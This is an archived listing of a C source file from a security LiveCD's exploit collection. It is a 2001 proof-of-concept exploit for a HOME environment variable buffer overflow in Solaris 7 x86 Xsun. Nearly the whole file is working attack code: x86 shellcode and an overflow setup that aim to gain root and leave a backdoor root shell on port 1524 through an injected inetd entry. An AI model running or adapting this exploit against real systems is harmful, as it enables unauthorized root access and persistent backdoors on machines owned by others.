home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / solaris / remote / xsun2.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  2KB  |  56 lines

  1. /***********************************/
  2. Solaris 7 (x86) /usr/openwin/bin/Xsun
  3. HOME environment overflow
  4.  
  5. Proof of Concept Exploitation
  6. riley@eeye.com
  7.  
  8. Puts a Root shell on local port 1524
  9. /***********************************/
  10.  
  11. #include <stdio.h>
  12. #include <stdlib.h>
  13. #include <string.h>
  14. #include <unistd.h>
  15. #define BUFLEN  1041
  16.  
  17. /* seteuid/setuid/inetd shell */
  18. char eyecode[] =
  19.   "\xeb\x51\x9a\x65\x65\x79\x65\x07\x90\xc3\x5e"
  20.   "\x29\xc0\x89\x46\xab\x88\x46\xb0\x89\x46\x0c"
  21.   "\x50\xb0\x8d\xe8\xe4\xff\xff\xff\x29\xc0\x50"
  22.   "\xb0\x17\xe8\xda\xff\xff\xff\x29\xc0\x88\x46"
  23.   "\x17\x88\x46\x1a\x88\x46\x78\x29\xc0\x50\x56"
  24.   "\x8d\x5e\x10\x89\x1e\x53\x8d\x5e\x18\x89\x5e"
  25.   "\x04\x8d\x5e\x1b\x89\x5e\x08\xb0\x3b\xe8\xb2"
  26.   "\xff\xff\xff\x90\x90\xc3\xe8\xb2\xff\xff\xff"
  27.   "\x90\x6b\x61\x6d\x90\x90\x90\x90\x90\x90\x90"
  28.   "\x90\x90\x90\x90\x90\x2f\x62\x69\x6e\x2f\x73"
  29.   "\x68\x20\x2d\x63\x20"
  30.   "echo \"ingreslock stream tcp nowait root /bin/sh sh -i\">/tmp/eeye;"
  31.   "/usr/sbin/inetd -s /tmp/eeye2001";
  32.  
  33. char buf[BUFLEN];
  34. unsigned long int nop, esp;
  35. long int offset = 0;
  36.  
  37. unsigned long int get_esp()
  38. {__asm__("movl %esp,%eax");}
  39.  
  40. int main (int argc, char *argv[])
  41. {
  42.   int i;
  43.   if (argc > 1)
  44.     offset = strtol(argv[1], NULL, 0);
  45.   else
  46.     offset = -200;
  47.   esp = get_esp();
  48.   memset(buf, 0x90, BUFLEN);
  49.   memcpy(buf+800, eyecode, strlen(eyecode));
  50.   *((int *) &buf[1037]) = esp+offset;
  51.   strncpy(&buf[0],"HOME=",5);
  52.   putenv(buf);
  53.   execl("/usr/openwin/bin/Xsun", "eEye", ":1",NULL);
  54.   return;
  55. }
  56. /*                www.hack.co.za           [15 April 2001]*/